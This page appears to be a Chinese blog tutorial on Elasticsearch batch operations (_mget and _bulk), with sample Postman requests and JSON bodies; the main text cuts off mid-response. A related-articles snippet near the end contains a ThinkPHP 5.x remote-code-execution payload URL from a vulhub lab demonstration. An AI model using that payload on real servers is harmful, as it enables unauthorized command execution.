# 03_Elastic Stack 从入门到实践(三)--- 1

server/2025/4/1 7:03:52/

03_Elastic Stack 从入门到实践(三)— 1

一、Elasticsearch核心讲解之批量操作

1、Elasticsearch批量操作:批量查询。

有些情况下,可以通过批量操作以减少网络请求。如:批量查询、批量插入数据等。

# 批量查询:post  /haoke/user/_mget# 打开 Postman 软件,地址栏输入:http://192.168.43.216:9200/haoke/user/_mget
# 选择 POST 请求,请求体 JSON 如下:
{"ids": ["1001", "1111"]
}# 响应数据
{"docs": [{"_index": "haoke","_type": "user","_id": "1001","_version": 1,"found": true,"_source": {"id": 1001,"name": "张三","age": 20,"sex": "男"}},{"_index": "haoke","_type": "user","_id": "1111","found": false}]
}

2、Elasticsearch批量操作:_bulk 操作。

在 Elasticsearch 中,支持批量的插入、修改、删除操作,都是通过 _bulk 的 api 完成的。

# 请求格式如下(请求格式不同寻常)
{ action: { metadata }}\n
{ request body }\n
{ action: { metadata }}\n
{ request body }\n# 比如:1)批量插入数据(注意最后一行的回车,留一空行)# 打开 Postman 软件,地址栏输入:http://192.168.43.216:9200/haoke/user/_bulk
# 选择 POST 请求,请求体 JSON 如下:{ "create":{"_index":"haoke", "_type":"user", "_id": 2001} }
{ "id": 2001, "name": "name1", "age": 20, "sex": "男" }
{"create":{"_index":"haoke", "_type":"user", "_id": 2002}}
{"id":2002, "name": "name2", "age": 22, "sex": "男"}
{"create":{"_index":"haoke", "_type":"user", "_id": 2003}}
{"id":2003, "name": "name3", "age": 24, "sex": "女"}# 响应数据
{"took": 49,"errors"</

http://www.ppmy.cn/server/179309.html

相关文章

debug - 安装.msi时,为所有用户安装程序

文章目录 debug - 安装.msi时&#xff0c;为所有用户安装程序概述笔记试试在目标.msi后面直接加参数的测试 备注备注END debug - 安装.msi时&#xff0c;为所有用户安装程序 概述 为了测试&#xff0c;装了一个test.msi. 安装时&#xff0c;只有安装路径的选择&#xff0c;没…

Vite管理的Vue3项目中monaco editer的使用以及组件封装

文章目录 背景环境说明安装流程以及组件封装引入依赖封装组件 外部使用实现效果 v-model实现原理 背景 做oj系统的时候,需要使用代码编辑器,决定使用Monaco Editor&#xff0c;但是因为自身能力问题&#xff0c;读不懂官网文档&#xff0c;最终结合ai和网友的帖子成功引入&…

常⻅框架漏洞--ThinkPHP

Thinkphp5x远程命令执⾏及getshell 环境搭建 cd vulhub/thinkphp/5-rce docker-compose up -d #启动环境 访问网址 漏洞利⽤ ?s/Index/\think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]-1 ? sindex/think\app/invokefunctio…

(UI自动化测试web端)第二篇:元素定位的方法_css定位ID选择器

看代码里的【find_element_by_css_selector( )】( )里的表达式怎么写&#xff1f; 文章介绍了第一种写法id选择器&#xff0c;其实XPath元素定位要比CSS好用&#xff0c;原因是CSS无法使用下标&#xff08;工作当中也是常用的xpath&#xff09;&#xff0c;但CSS定位速度比XPat…

Python与区块链隐私保护技术:如何在去中心化世界中保障数据安全

Python与区块链隐私保护技术:如何在去中心化世界中保障数据安全 在区块链世界里,透明性和不可篡改性是两大核心优势,但这也带来了一个悖论——如何在公开账本的同时保障用户隐私?如果你的交易记录对所有人可见,如何防止敏感信息泄露? Python 作为区块链开发中最受欢迎的…

Bash 脚本基础

一、Bash 脚本基础 什么是 Bash 脚本&#xff1a;Bash 脚本是一种文本文件&#xff0c;其中包含了一系列的命令&#xff0c;这些命令可以被 Bash shell 执行。它用于自动化重复性的任务&#xff0c;提高工作效率。 Bash 脚本的基本结构&#xff1a;以 #!/bin/bash 开头&#x…

分类——数学公式推导全过程

文章目录 一、引入案例 二、准备知识 1. 内积 2. 感知机 3. 权重向量的更新表达式 4. 线性可分 三、 逻辑回归 1&#xff09;sigmoid 函数 2&#xff09;决策边界 3&#xff09;似然函数 4&#xff09;对数似然函数 5&#xff09;线性不可分 一、引入案例 根据尺寸…

Cocos Creator Shader入门实战(五):材质的了解、使用和动态构建

引擎&#xff1a;3.8.5 您好&#xff0c;我是鹤九日&#xff01; 回顾 前面的几篇文章&#xff0c;讲述的主要是Cocos引擎对Shader使用的一些固定规则&#xff0c;这里汇总下&#xff1a; 一、Shader实现基础是OpenGL ES可编程渲染管线&#xff0c;开发者只需关注顶点着色器和…